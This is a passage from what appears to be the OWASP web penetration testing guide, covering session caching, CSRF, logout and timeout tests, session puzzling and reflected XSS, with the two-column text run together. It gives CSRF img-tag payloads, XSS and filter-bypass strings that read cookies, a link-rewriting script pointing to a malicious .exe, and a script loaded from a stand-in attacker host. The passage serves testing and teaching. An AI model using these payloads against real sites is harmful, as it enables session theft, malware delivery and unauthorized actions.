priate controls with reference to HTTP. HTTP/1.1 provides a number • Is it possible to manipulate the application to send Session IDs
of cache control mechanisms. Cache-Control: no-cache indicates unencrypted? e.g., by changing HTTP to HTTPS?
that a proxy must not re-use any data. Whilst Cache-Control: Pri- • What cache-control directives are applied to requests/responses
vate appears to be a suitable directive, this still allows a non-shared passing Session IDs?
proxy to cache data. In the case of web-cafes or other shared sys- • Are these directives always present? If not, where are the
tems, this presents a clear risk. Even with single-user workstations exceptions?
the cached Session ID may be exposed through a compromise of • Are GET requests incorporating the Session ID used?
the file-system or where network stores are used. HTTP/1.0 caches • If POST is used, can it be interchanged with GET?
do not recognise the Cache-Control: no-cache directive.
References
Result Expected: Whitepapers
The “Expires: 0” and Cache-Control: max-age=0 directives should • RFCs 2109 & 2965 – HTTP State Management Mechanism
be used to further ensure caches do not expose the data. Each [D. Kristol, L. Montulli] - http://www.ietf.org/rfc/rfc2965.txt,
request/response passing Session ID data should be examined to http://www.ietf.org/rfc/rfc2109.txt
ensure appropriate cache directives are in use. • RFC 2616 – Hypertext Transfer Protocol -
HTTP/1.1 - http://www.ietf.org/rfc/rfc2616.txt
Testing for GET & POST vulnerabilities:
In general, GET requests should not be used, as the Session ID
Testing for CSRF (OTG-SESS-005)
may be exposed in Proxy or Firewall logs. They are also far more
Summary
easily manipulated than other types of transport, although it
CSRF is an attack which forces an end user to execute unwanted
should be noted that almost any mechanism can be manipulated
actions on a web application in which he/she is currently authen-
by the client with the right tools. Furthermore, Cross-site Script-
ticated. With a little help of social engineering (like sending a link
ing (XSS) attacks are most easily exploited by sending a specially
via email or chat), an attacker may force the users of a web appli-
constructed link to the victim. This is far less likely if data is sent
cation to execute actions of the attacker’s choosing. A successful
from the client as POSTs.
CSRF exploit can compromise end user data and operation, when
it targets a normal user. If the targeted end user is the admin-
Result Expected:
istrator account, a CSRF attack can compromise the entire web
All server side code receiving data from POST requests should be
application.
tested to ensure it does not accept the data if sent as a GET. For
example, consider the following POST request generated by a log
CSRF relies on the following:
in page.
[1] Web browser behavior regarding the handling of session-re-
93

Web Application Penetration Testing

lated information such as cookies and http authentication infor- the link appears in content hosted elsewhere (another web site,
mation; an HTML email message, etc.) and points to a resource of the ap-
[2] Knowledge by the attacker of valid web application URLs; plication. If the user clicks on the link, since it was already authen-
[3] Application session management relying only on information ticated by the web application on site, the browser will issue a GET
which is known by the browser; request to the web application, accompanied by authentication in-
[4] Existence of HTML tags whose presence cause immediate ac- formation (the session id cookie). This results in a valid operation
cess to an http[s] resource; for example the image tag img. performed on the web application and probably not what the user
expects to happen. Think of a malicious link causing a fund trans-
Points 1, 2, and 3 are essential for the vulnerability to be present, fer on a web banking application to appreciate the implications.
while point 4 is accessory and facilitates the actual exploitation,
but is not strictly required. By using a tag such as img, as specified in point 4 above, it is not
even necessary that the user follows a particular link. Suppose the
Point 1) Browsers automatically send information which is used attacker sends the user an email inducing him to visit an URL re-
to identify a user session. Suppose site is a site hosting a web ferring to a page containing the following (oversimplified) HTML:
application, and the user victim has just authenticated himself to
site. In response, site sends victim a cookie which identifies re- <html><body>
quests sent by victim as belonging to victim’s authenticated ses-
sion. Basically, once the browser receives the cookie set by site, it ...
will automatically send it along with any further requests directed
to site. <img src=”https://www.company.example/action” width=”0”
height=”0”>
Point 2) If the application does not make use of session-related
information in URLs, then it means that the application URLs, ...
their parameters, and legitimate values may be identified (either
by code analysis or by accessing the application and taking note of </body></html>
forms and URLs embedded in the HTML/JavaScript).

Point 3) ”Known by the browser” refers to information such as What the browser will do when it displays this page is that it will
cookies, or http-based authentication information (such as Basic try to display the specified zero-width (i.e., invisible) image as well.
Authentication; and not form-based authentication), which are This results in a request being automatically sent to the web ap-
stored by the browser and subsequently resent at each request plication hosted on site. It is not important that the image URL
directed towards an application area requesting that authentica- does not refer to a proper image, its presence will trigger the re-
tion. The vulnerabilities discussed next apply to applications which quest specified in the src field anyway. This happens provided that
rely entirely on this kind of information to identify a user session. image download is not disabled in the browsers, which is a typical
configuration since disabling images would cripple most web ap-
Suppose, for simplicity’s sake, to refer to GET-accessible URLs plications beyond usability.
(though the discussion applies as well to POST requests). If victim
has already authenticated himself, submitting another request The problem here is a consequence of the following facts:
causes the cookie to be automatically sent with it (see picture,
where the user accesses an application on www.example.com). • there are HTML tags whose appearance in a page result in
automatic http request execution (img being one of those);
• the browser has no way to tell that the resource referenced by
img is not actually an image and is in fact not legitimate;
• image loading happens regardless of the location of the alleged
image, i.e., the form and the image itself need not be located
in the same host, not even in the same domain. While this is
a very handy feature, it makes difficult to compartmentalize
applications.

The GET request could be originated in several different ways: It is the fact that HTML content unrelated to the web applica-
tion may refer components in the application, and the fact that
• by the user, who is using the actual web application; the browser automatically composes a valid request towards the
• by the user, who types the URL directly in the browser; application, that allows such kind of attacks. As no standards are
• by the user, who follows a link (external to the application) defined right now, there is no way to prohibit this behavior unless
pointing to the URL. it is made impossible for the attacker to specify valid application
URLs. This means that valid URLs must contain information re-
These invocations are indistinguishable by the application. In lated to the user session, which is supposedly not known to the
particular, the third may be quite dangerous. There are a number attacker and therefore make the identification of such URLs im-
of techniques (and of vulnerabilities) which can disguise the real possible.
properties of a link. The link can be embedded in an email mes-
sage, or appear in a malicious web site where the user is lured, i.e., The problem might be even worse, since in integrated mail/
94

Web Application Penetration Testing

browser environments simply displaying an email message con- Therefore, if we enter the value ‘*’ and press the Delete button,
taining the image would result in the execution of the request to the following GET request is submitted.
the web application with the associated browser cookie.
https://www.company.example/fwmgt/delete?rule=*
Things may be obfuscated further, by referencing seemingly valid
image URLs such as

<img src=”https://[attacker]/picture.gif” width=”0” with the effect of deleting all firewall rules (and ending up in a pos-
height=”0”> sibly inconvenient situation).

where [attacker] is a site controlled by the attacker, and by utiliz-


ing a redirect mechanism on

http://[attacker]/picture.gif to http://[thirdparty]/action.

Cookies are not the only example involved in this kind of vulner-
ability. Web applications whose session information is entirely
supplied by the browser are vulnerable too. This includes applica- Now, this is not the only possible scenario. The user might have
tions relying on HTTP authentication mechanisms alone, since the accomplished the same results by manually submitting the URL
authentication information is known by the browser and is sent or by following a link pointing, directly or via a redirection, to the
automatically upon each request. This DOES NOT include form- above URL. Or, again, by accessing an HTML page with an embed-
based authentication, which occurs just once and generates some ded img tag pointing to the same URL.
form of session-related information (of course, in this case, such
information is expressed simply as a cookie and can we fall back
to one of the previous cases). https://[target]/fwmgt/delete?rule=*

Sample scenario
Let’s suppose that the victim is logged on to a firewall web man- In all of these cases, if the user is currently logged in the firewall
agement application. To log in, a user has to authenticate himself management application, the request will succeed and will mod-
and session information is stored in a cookie. ify the configuration of the firewall. One can imagine attacks tar-
geting sensitive applications and making automatic auction bids,
Let’s suppose the firewall web management application has a money transfers, orders, changing the configuration of critical
function that allows an authenticated user to delete a rule speci- software components, etc.
fied by its positional number, or all the rules of the configuration if
the user enters ‘*’ (quite a dangerous feature, but it will make the An interesting thing is that these vulnerabilities may be exercised
example more interesting). The delete page is shown next. Let’s behind a firewall; i.e., it is sufficient that the link being attacked
suppose that the form – for the sake of simplicity – issues a GET be reachable by the victim (not directly by the attacker). In par-
request, which will be of the form ticular, it can be any Intranet web server; for example, the fire-
wall management station mentioned before, which is unlikely to
https://[target]/fwmgt/delete?rule=1 be exposed to the Internet. Imagine a CSRF attack targeting an
application monitoring a nuclear power plant. Sounds far fetched?
Probably, but it is a possibility.
(to delete rule number one)
Self-vulnerable applications, i.e., applications that are used both
https://[target]/fwmgt/delete?rule=* as attack vector and target (such as web mail applications), make
things worse.
If such an application is vulnerable, the user is obviously logged
(to delete all rules). in when he reads a message containing a CSRF attack, that can
target the web mail application and have it perform actions such
The example is purposely quite naive, but shows in a simple way as deleting messages, sending messages appearing as sent by the
the dangers of CSRF. user, etc.

How to Test
Black Box Testing
For a black box test the tester must know URLs in the restrict-
ed (authenticated) area. If they possess valid credentials, they
can assume both roles – the attacker and the victim. In this case,
testers know the URLs to be tested just by browsing around the
application.
95

Web Application Penetration Testing

Otherwise, if testers don’t have valid credentials available, they Remediation


have to organize a real attack, and so induce a legitimate, logged The following countermeasures are divided among recommenda-
in user into following an appropriate link. This may involve a sub- tions to users and to developers.
stantial level of social engineering.
Users
Either way, a test case can be constructed as follows: Since CSRF vulnerabilities are reportedly widespread, it is recom-
mended to follow best practices to mitigate risk. Some mitigating
• let u the URL being tested; for example, u = actions are:
http://www.example.com/action
• build an html page containing the http request referencing URL • Logoff immediately after using a web application
u (specifying all relevant parameters; in the case of http GET this • Do not allow the browser to save username/passwords, and do
is straightforward, while to a POST request you need to resort to not allow sites to “remember” the log in details.
some Javascript); • Do not use the same browser to access sensitive applications
• make sure that the valid user is logged on the application; and to surf freely the Internet; if it is necessary to do both things
• induce him into following the link pointing to the URL to be at the same machine, do them with separate browsers.
tested (social engineering involved if you cannot impersonate
the user yourself); Integrated HTML-enabled mail/browser, newsreader/browser
• observe the result, i.e. check if the web server executed the environments pose additional risks since simply viewing a mail
request. message or a news message might lead to the execution of an
attack.
Gray Box Testing
Audit the application to ascertain if its session management is Developers
vulnerable. If session management relies only on client side val- Add session-related information to the URL. What makes the
ues (information available to the browser), then the application is attack possible is the fact that the session is uniquely identified
vulnerable. “Client side values” mean cookies and HTTP authenti- by the cookie, which is automatically sent by the browser. Hav-
cation credentials (Basic Authentication and other forms of HTTP ing other session-specific information being generated at the URL
authentication; not form-based authentication, which is an appli- level makes it difficult to the attacker to know the structure of
cation-level authentication). For an application to not be vulner- URLs to attack.
able, it must include session-related information in the URL, in a
form of unidentifiable or unpredictable by the user ([3] uses the Other countermeasures, while they do not resolve the issue, con-
term secret to refer to this piece of information). tribute to make it harder to exploit:

Resources accessible via HTTP GET requests are easily vulnerable, • Use POST instead of GET. While POST requests may be simulated
though POST requests can be automated via Javascript and are by means of JavaScript, they make it more complex to mount an
vulnerable as well; therefore, the use of POST alone is not enough attack.
to correct the occurrence of CSRF vulnerabilities. • The same is true with intermediate confirmation pages (such as:
“Are you sure you really want to do this?” type of pages).
Tools They can be bypassed by an attacker, although they will make
• WebScarab Spider http://www.owasp.org/index.php/ their work a bit more complex. Therefore, do not rely solely on
Category:OWASP_WebScarab_Project these measures to protect your application.
• CSRF Tester http://www.owasp.org/index.php/ • Automatic log out mechanisms somewhat mitigate the
Category:OWASP_CSRFTester_Project exposure to these vulnerabilities, though it ultimately depends
• Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_ on the context (a user who works all day long on a vulnerable
site_request_forgery.php (via img) web banking application is obviously more at risk than a user
• Cross Frame Loader http://yehg.net/lab/pr0js/pentest/cross_ who uses the same application occasionally).
site_framing.php (via iframe)
• Pinata-csrf-tool http://code.google.com/p/pinata-csrf-tool/ Related Security Activities
Description of CSRF Vulnerabilities
References See the OWASP article on CSRF Vulnerabilities.
Whitepapers
• Peter W: “Cross-Site Request Forgeries” - How to Avoid CSRF Vulnerabilities
http://www.tux.org/~peterw/csrf.txt See the OWASP Development Guide article on how to Avoid
• Thomas Schreiber: “Session Riding” - CSRF Vulnerabilities.
http://www.securenet.de/papers/Session_Riding.pdf
• Oldest known post - http://www.zope.org/Members/jim/ How to Review Code for CSRF Vulnerabilities
ZopeSecurity/ClientSideTrojan See the OWASP Code Review Guide article on how to Review
• Cross-site Request Forgery FAQ - Code for CSRF Vulnerabilities.
http://www.cgisecurity.com/articles/csrf-faq.shtml
• A Most-Neglected Fact About Cross Site Request Forgery How to Prevent CSRF Vulnerabilites
(CSRF) - http://yehg.net/lab/pr0js/view.php/A_Most- See the OWASP CSRF Prevention Cheat Sheet for prevention
Neglected_Fact_About_CSRF.pdf measures.
96

Web Application Penetration Testing

Testing for logout functionality (OTG-SESS-006) • After loading a page the log out button should be visible without
Summary scrolling.
Session termination is an important part of the session lifecycle. Re- • Ideally the log out button is placed in an area of the page that is
ducing to a minimum the lifetime of the session tokens decreases the fixed in the view port of the browser and not affected by scrolling of
likelihood of a successful session hijacking attack. This can be seen as the content.
a control against preventing other attacks like Cross Site Scripting and
Cross Site Request Forgery. Such attacks have been known to rely on Testing for server-side session termination:
a user having an authenticated session present. Not having a secure First, store the values of cookies that are used to identify a session. In-
session termination only increases the attack surface for any of these voke the log out function and observe the behavior of the application,
attacks. especially regarding session cookies. Try to navigate to a page that is
only visible in an authenticated session, e.g. by usage of the back but-
A secure session termination requires at least the following compo- ton of the browser. If a cached version of the page is displayed, use the
nents: reload button to refresh the page from the server. If the log out func-
tion causes session cookies to be set to a new value, restore the old
• Availability of user interface controls that allow the user to value of the session cookies and reload a page from the authenticated
manually log out. area of the application. If these test don’t show any vulnerabilities on a
• Session termination after a given amount of time without activity particular page, try at least some further pages of the application that
(session timeout). are considered as security-critical, to ensure that session termination
• Proper invalidation of server-side session state. is recognized properly by these areas of the application.

There are multiple issues which can prevent the effective termination Result Expected:
of a session. For the ideal secure web application, a user should be No data that should be visible only by authenticated users should be
able to terminate at any time through the user interface. Every page visible on the examined pages while performing the tests. Ideally the
should contain a log out button on a place where it is directly visible. application redirects to a public area or a log in form while accessing
Unclear or ambiguous log out functions could cause the user not authenticated areas after termination of the session. It should be not
trusting such functionality. necessary for the security of the application, but setting session cook-
ies to new values after log out is generally considered as good practice.
Another common mistake in session termination is that the client-side
session token is set to a new value while the server-side state remains Testing for session timeout:
active and can be reused by setting the session cookie back to the pre- Try to determine a session timeout by performing requests to a page
vious value. Sometimes only a confirmation message is shown to the in the authenticated area of the web application with increasing de-
user without performing any further action. This should be avoided. lays. If the log out behavior appears, the used delay matches approxi-
mately the session timeout value.
Users of web browsers often don’t mind that an application is still
open and just close the browser or a tab. A web application should be Result Expected:
aware of this behavior and terminate the session automatically on the The same results as for server-side session termination testing de-
server-side after a defined amount of time. scribed before are excepted by a log out caused by an inactivity tim-
eout.
The usage of a single sign-on (SSO) system instead of an applica-
tion-specific authentication scheme often causes the coexistence The proper value for the session timeout depends on the purpose of
of multiple sessions which have to be terminated separately. For in- the application and should be a balance of security and usability. In a
stance, the termination of the application-specific session does not banking applications it makes no sense to keep an inactive session
terminate the session in the SSO system. Navigating back to the SSO more than 15 minutes. On the other side a short timeout in a wiki or
portal offers the user the possibility to log back in to the application forum could annoy users which are typing lengthy articles with un-
where the log out was performed just before. On the other side a log necessary log in requests. There timeouts of an hour and more can
out function in a SSO system does not necessarily cause session ter- be acceptable.
mination in connected applications.
Testing for session termination in single sign-on environments (sin-
How to Test gle sign-off):
Testing for log out user interface: Perform a log out in the tested application. Verify if there is a central
Verify the appearance and visibility of the log out functionality in the portal or application directory which allows the user to log back in to
user interface. For this purpose, view each page from the perspective the application without authentication.
of a user who has the intention to log out from the web application. Test if the application requests the user to authenticate, if the URL of
an entry point to the application is requested. While logged in in the
Result Expected: tested application, perform a log out in the SSO system. Then try to
There are some properties which indicate a good log out user in- access an authenticated area of the tested application.
terface:
Result Expected:
• A log out button is present on all pages of the web application. It is expected that the invocation of a log out function in a web
• The log out button should be identified quickly by a user who application connected to a SSO system or in the SSO system itself
wants to log out from the web application. causes global termination of all sessions. An authentication of the
97

Web Application Penetration Testing

user should be required to gain access to the application after log stroyed or made unusable, and that proper controls are enforced
out in the SSO system and connected application. at the server side to prevent the reuse of session tokens. If such
actions are not properly carried out, an attacker could replay these
Tools session tokens in order to “resurrect” the session of a legitimate
• “Burp Suite - Repeater” - http://portswigger.net/burp/repeater.html user and impersonate him/her (this attack is usually known as
‘cookie replay’). Of course, a mitigating factor is that the attacker
References needs to be able to access those tokens (which are stored on the
Whitepapers victim’s PC), but, in a variety of cases, this may not be impossible
• “The FormsAuthentication.SignOut method does not prevent cookie or particularly difficult.
reply attacks in ASP.NET applications” -
http://support.microsoft.com/default.aspx?scid=kb;en-us;900111 The most common scenario for this kind of attack is a public com-
• “Cookie replay attacks in ASP.NET when using forms authentication” puter that is used to access some private information (e.g., web
- https://www.vanstechelman.eu/content/cookie-replay-attacks-in- mail, online bank account). If the user moves away from the com-
aspnet-when-using-forms-authentication puter without explicitly logging out and the session timeout is not
implemented on the application, then an attacker could access
Test Session Timeout (OTG-SESS-007) to the same account by simply pressing the “back” button of the
Summary browser.
In this phase testers check that the application automatically logs
out a user when that user has been idle for a certain amount of How to Test
time, ensuring that it is not possible to “reuse” the same session Black Box testing
and that no sensitive data remains stored in the browser cache. The same approach seen in the Testing for logout functionality
(OTG-SESS-006) section can be applied when measuring the tim-
All applications should implement an idle or inactivity timeout for eout log out.
sessions. This timeout defines the amount of time a session will The testing methodology is very similar. First, testers have to
remain active in case there is no activity by the user, closing and check whether a timeout exists, for instance, by logging in and
invalidating the session upon the defined idle period since the last waiting for the timeout log out to be triggered. As in the log out
HTTP request received by the web application for a given session function, after the timeout has passed, all session tokens should
ID. The most appropriate timeout should be a balance between be destroyed or be unusable.
security (shorter timeout) and usability (longer timeout) and heav-
ily depends on the sensitivity level of the data handled by the ap- Then, if the timeout is configured, testers need to understand
plication. For example, a 60 minute log out time for a public forum whether the timeout is enforced by the client or by the server (or
can be acceptable, but such a long time would be too much in a both). If the session cookie is non-persistent (or, more in general,
home banking application (where a maximum timeout of 15 min- the session cookie does not store any data about the time), tes-
utes is recommended). In any case, any application that does not ters can assume that the timeout is enforced by the server. If the
enforce a timeout-based log out should be considered not secure, session cookie contains some time related data (e.g., log in time,
unless such behavior is required by a specific functional require- or last access time, or expiration date for a persistent cookie), then
ment. it’s possible that the client is involved in the timeout enforcing. In
this case, testers could try to modify the cookie (if it’s not cryp-
The idle timeout limits the chances that an attacker has to guess tographically protected) and see what happens to the session. For
and use a valid session ID from another user, and under certain instance, testers can set the cookie expiration date far in the fu-
circumstances could protect public computers from session reuse. ture and see whether the session can be prolonged.
However, if the attacker is able to hijack a given session, the idle
timeout does not limit the attacker’s actions, as he can generate As a general rule, everything should be checked server-side and it
activity on the session periodically to keep the session active for should not be possible, by re-setting the session cookies to previ-
longer periods of time. ous values, to access the application again.

Session timeout management and expiration must be enforced Gray Box Testing
server-side. If some data under the control of the client is used The tester needs to check that:
to enforce the session timeout, for example using cookie values
or other client parameters to track time references (e.g. number • The log out function effectively destroys all session token, or at
of minutes since log in time), an attacker could manipulate these least renders them unusable,
to extend the session duration. So the application has to track the • The server performs proper checks on the session state,
inactivity time on the server side and, after the timeout is expired, disallowing an attacker to replay previously destroyed session
automatically invalidate the current user’s session and delete ev- identifiers
ery data stored on the client. • A timeout is enforced and it is properly enforced by the server.
If the server uses an expiration time that is read from a session
Both actions must be implemented carefully, in order to avoid in- token that is sent by the client (but this is not advisable), then
troducing weaknesses that could be exploited by an attacker to the token must be cryptographically protected from tampering.
gain unauthorized access if the user forgot to log out from the ap-
plication. More specifically, as for the log out function, it is import- Note that the most important thing is for the application to in-
ant to ensure that all session tokens (e.g. cookies) are properly de- validate the session on the server side. Generally this means that
98

Web Application Penetration Testing

the code must invoke the appropriate methods, e.g. HttpSession. that, in the entry point, could request the user to provide some
invalidate() in Java and Session.abandon() in .NET. identifying information such as the username or the e-mail ad-
Clearing the cookies from the browser is advisable, but is not dress. This page might then populate the session with these iden-
strictly necessary, since if the session is properly invalidated on tifying values, which are received directly from the client side, or
the server, having the cookie in the browser will not help an at- obtained from queries or calculations based on the received in-
tacker. put. At this point there may be some pages in the application that
show private data based on this session object. In this manner the
References attacker could bypass the authentication process.
OWASP Resources
• Session Management Cheat Sheet Gray Box testing
The most effective way to detect these vulnerabilities is via a
Testing for Session puzzling source code review.
(OTG-SESS-008)
Summary References
Session Variable Overloading (also known as Session Puzzling) is Whitepapers
an application level vulnerability which can enable an attacker to • Session Puzzles:
perform a variety of malicious actions, including by not limited to: http://puzzlemall.googlecode.com/files/Session%20Puzzles%20
-%20Indirect%20Application%20Attack%20Vectors%20-%20
• Bypass efficient authentication enforcement mechanisms, and May%202011%20-%20Whitepaper.pdf
impersonate legitimate users. • Session Puzzling and Session Race Conditions:
• Elevate the privileges of a malicious user account, in an http://sectooladdict.blogspot.com/2011/09/session-puzzling-
environment that would otherwise be considered foolproof. and-session-race.html
• Skip over qualifying phases in multi-phase processes, even if
the process includes all the commonly recommended code level Remediation
restrictions. Session variables should only be used for a single consistent pur-
• Manipulate server-side values in indirect methods that cannot pose.
be predicted or detected.
• Execute traditional attacks in locations that were previously Input Validation Testing
unreachable, or even considered secure. The most common web application security weakness is the fail-
ure to properly validate input coming from the client or from the
This vulnerability occurs when an application uses the same ses- environment before using it. This weakness leads to almost all of
sion variable for more than one purpose. An attacker can poten- the major vulnerabilities in web applications, such as cross site
tially access pages in an order unanticipated by the developers so scripting, SQL injection, interpreter injection, locale/Unicode at-
that the session variable is set in one context and then used in tacks, file system attacks, and buffer overflows.
another.
Data from an external entity or client should never be trusted,
For example, an attacker could use session variable overloading to since it can be arbitrarily tampered with by an attacker. “All Input
bypass authentication enforcement mechanisms of applications is Evil”, says Michael Howard in his famous book “Writing Secure
that enforce authentication by validating the existence of session Code”. That is rule number one. Unfortunately, complex applica-
variables that contain identity–related values, which are usually tions often have a large number of entry points, which makes it
stored in the session after a successful authentication process. difficult for a developer to enforce this rule. This chapter describes
This means an attacker first accesses a location in the application Data Validation testing. This is the task of testing all the possible
that sets session context and then accesses privileged locations forms of input to understand if the application sufficiently vali-
that examine this context. dates input data before using it.

For example - an authentication bypass attack vector could be ex- Testing for Reflected Cross site scripting
ecuted by accessing a publicly accessible entry point (e.g. a pass- (OTG-INPVAL-001)
word recovery page) that populates the session with an identical Summary
session variable, based on fixed values or on user originating input. Reflected Cross-site Scripting (XSS) occur when an attacker in-
jects browser executable code within a single HTTP response.
How to Test The injected attack is not stored within the application itself; it is
Black Box Testing non-persistent and only impacts users who open a maliciously
This vulnerability can be detected and exploited by enumerating crafted link or third-party web page. The attack string is included
all of the session variables used by the application and in which as part of the crafted URI or HTTP parameters, improperly pro-
context they are valid. In particular this is possible by accessing a cessed by the application, and returned to the victim.
sequence of entry points and then examining exit points. In case
of black box testing this procedure is difficult and requires some Reflected XSS are the most frequent type of XSS attacks found in
luck since every different sequence could lead to a different result. the wild. Reflected XSS attacks are also known as non-persistent
XSS attacks and, since the attack payload is delivered and execut-
Examples ed via a single request and response, they are also referred to as
A very simple example could be the password reset functionality first-order or type 1 XSS.
99

Web Application Penetration Testing

When a web application is vulnerable to this type of attack, it will Ideally all HTML special characters will be replaced with HTML en-
pass unvalidated input sent through requests back to the client. tities. The key HTML entities to identify are:
The common modus operandi of the attack includes a design step,
in which the attacker creates and tests an offending URI, a social > (greater than)
engineering step, in which she convinces her victims to load this < (less than)
URI on their browsers, and the eventual execution of the offending & (ampersand)
code using the victim’s browser. ‘ (apostrophe or single quote)
“ (double quote)
Commonly the attacker’s code is written in the Javascript lan-
guage, but other scripting languages are also used, e.g., Action-
Script and VBScript. Attackers typically leverage these vulnerabil- However, a full list of entities is defined by the HTML and XML
ities to install key loggers, steal victim cookies, perform clipboard specifications. Wikipedia has a complete reference [1].
theft, and change the content of the page (e.g., download links).
Within the context of an HTML action or JavaScript code, a dif-
One of the primary difficulties in preventing XSS vulnerabili- ferent set of special characters will need to be escaped, encoded,
ties is proper character encoding. In some cases, the web server replaced, or filtered out. These characters include:
or the web application could not be filtering some encodings of
characters, so, for example, the web application might filter out
\n (new line)
“<script>”, but might not filter %3cscript%3e which simply includes
\r (carriage return)
another encoding of tags.
\’ (apostrophe or single quote)
\” (double quote)
How to Test
\\ (backslash)
Black Box testing
\uXXXX (unicode values)
A black-box test will include at least three phases:

[1] Detect input vectors. For each web page, the tester must de- For a more complete reference, see the Mozilla JavaScript guide.
termine all the web application’s user-defined variables and how [2]
to input them. This includes hidden or non-obvious inputs such
as HTTP parameters, POST data, hidden form field values, and Example 1
predefined radio or selection values. Typically in-browser HTML For example, consider a site that has a welcome notice “ Welcome
editors or web proxies are used to view these hidden variables. %username% “ and a download link.
See the example below.

[2] Analyze each input vector to detect potential vulnerabilities.


To detect an XSS vulnerability, the tester will typically use spe-
cially crafted input data with each input vector. Such input data is
typically harmless, but trigger responses from the web browser
that manifests the vulnerability. Testing data can be generated by
using a web application fuzzer, an automated predefined list of
known attack strings, or manually.

Some example of such input data are the following: The tester must suspect that every data entry point can result in
an XSS attack. To analyze it, the tester will play with the user vari-
<script>alert(123)</script> able and try to trigger the vulnerability.

Let’s try to click on the following link and see what happens:

“><script>alert(document.cookie)</script> http://example.com/index.php?user=<script>alert(123)</
script>

For a comprehensive list of potential test strings, see the XSS Fil-
ter Evasion Cheat Sheet. If no sanitization is applied this will result in the following popup:

[3] For each test input attempted in the previous phase, the tester
will analyze the result and determine if it represents a vulnera-
bility that has a realistic impact on the web application’s security.
This requires examining the resulting web page HTML and search-
ing for the test input. Once found, the tester identifies any special
characters that were not properly encoded, replaced, or filtered
out. The set of vulnerable unfiltered special characters will depend
on the context of that section of HTML.
100

Web Application Penetration Testing

This indicates that there is an XSS vulnerability and it appears that even without the use of characters such as “ < > and / that are
the tester can execute code of his choice in anybody’s browser if commonly filtered.
he clicks on the tester’s link.
For example, the web application could use the user input value to
Example 2 fill an attribute, as shown in the following code:
Let’s try other piece of code (link):
<input type=”text” name=”state” value=”INPUT_FROM_
http://example.com/index.php?user=<script>window. USER”>
onload = function() {var AllLinks=document.
getElementsByTagName(“a”);
Then an attacker could submit the following code:
AllLinks[0].href = “http://badexample.com/malicious.exe”; }</
script>
“ onfocus=”alert(document.cookie)
This produces the following behavior:
Example 4: Different syntax or encoding
In some cases it is possible that signature-based filters can be
simply defeated by obfuscating the attack. Typically you can do
this through the insertion of unexpected variations in the syntax
or in the enconding. These variations are tolerated by browsers as
valid HTML when the code is returned, and yet they could also be
accepted by the filter.

Following some examples:

“><script >alert(document.cookie)</script >

This will cause the user, clicking on the link supplied by the tester, “><script >alert(document.cookie)</script >
to download the file malicious.exe from a site he controls.

Bypass XSS filters “%3cscript%3ealert(document.cookie)%3c/script%3e


Reflected cross-site scripting attacks are prevented as the web
application sanitizes input, a web application firewall blocks
malicious input, or by mechanisms embedded in modern web Example 5: Bypassing non-recursive filtering
browsers. The tester must test for vulnerabilities assuming that Sometimes the sanitization is applied only once and it is not being
web browsers will not prevent the attack. Browsers may be out performed recursively. In this case the attacker can beat the filter
of date, or have built-in security features disabled. Similarly, web by sending a string containing multiple attempts, like this one:
application firewalls are not guaranteed to recognize novel, un-
known attacks. An attacker could craft an attack string that is un- <scr<script>ipt>alert(document.cookie)</script>
recognized by the web application firewall.

Thus, the majority of XSS prevention must depend on the web Example 6: Including external script
application’s sanitization of untrusted user input. There are sev- Now suppose that developers of the target site implemented the
eral mechanisms available to developers for sanitization, such as following code to protect the input from the inclusion of external
returning an error, removing, encoding, or replacing invalid input. script:
The means by which the application detects and corrects invalid
input is another primary weakness in preventing XSS. A blacklist <?
may not include all possible attack strings, a whitelist may be $re = “/<script[^>]+src/i”;
overly permissive, the sanitization could fail, or a type of input may
be incorrectly trusted and remain unsanitized. All of these allow if (preg_match($re, $_GET[‘var’]))
attackers to circumvent XSS filters. {
echo “Filtered”;
The XSS Filter Evasion Cheat Sheet documents common filter return;
evasion tests. }
echo “Welcome “.$_GET[‘var’].” !”;
Example 3: Tag Attribute Value ?>
Since these filters are based on a blacklist, they could not block
every type of expressions. In fact, there are cases in which an XSS
exploit can be carried out without the use of <script> tags and In this scenario there is a regular expression checking if <script
101

Web Application Penetration Testing

[anything but the character: ‘>’ ] src is inserted. This is useful for Tools
filtering expressions like • OWASP CAL9000
CAL9000 is a collection of web application security testing tools
<script src=”http://attacker/xss.js”></script> that complement the feature set of current web proxies and auto-
mated scanners. It’s hosted as a reference at http://yehg.net/lab/
pr0js/pentest/CAL9000/ .
which is a common attack. But, in this case, it is possible to bypass
the sanitization by using the “>” character in an attribute between • PHP Charset Encoder(PCE) -
script and src, like this: http://h4k.in/encoding [mirror: http://yehg.net/e ]
This tool helps you encode arbitrary texts to and from 65 kinds
http://example/?var=<SCRIPT%20a=”>”%20SRC=”http:// of charsets. Also some encoding functions featured by JavaScript
attacker/xss.js”></SCRIPT> are provided.

• HackVertor -
This will exploit the reflected cross site scripting vulnerability http://www.businessinfo.co.uk/labs/hackvertor/
shown before, executing the javascript code stored on the attack- hackvertor.php
er’s web server as if it was originating from the victim web site, It provides multiple dozens of flexible encoding for advanced
http://example/. string manipulation attacks.

Example 7: HTTP Parameter Pollution (HPP) • WebScarab - WebScarab is a framework for analysing
Another method to bypass filters is the HTTP Parameter Pollu- applications that communicate using the HTTP and HTTPS
tion, this technique was first presented by Stefano di Paola and protocols.
Luca Carettoni in 2009 at the OWASP Poland conference. See the
Testing for HTTP Parameter pollution for more information. This • XSS-Proxy - http://xss-proxy.sourceforge.net/
evasion technique consists of splitting an attack vector between XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.
multiple parameters that have the same name. The manipula-
tion of the value of each parameter depends on how each web • ratproxy - http://code.google.com/p/ratproxy/
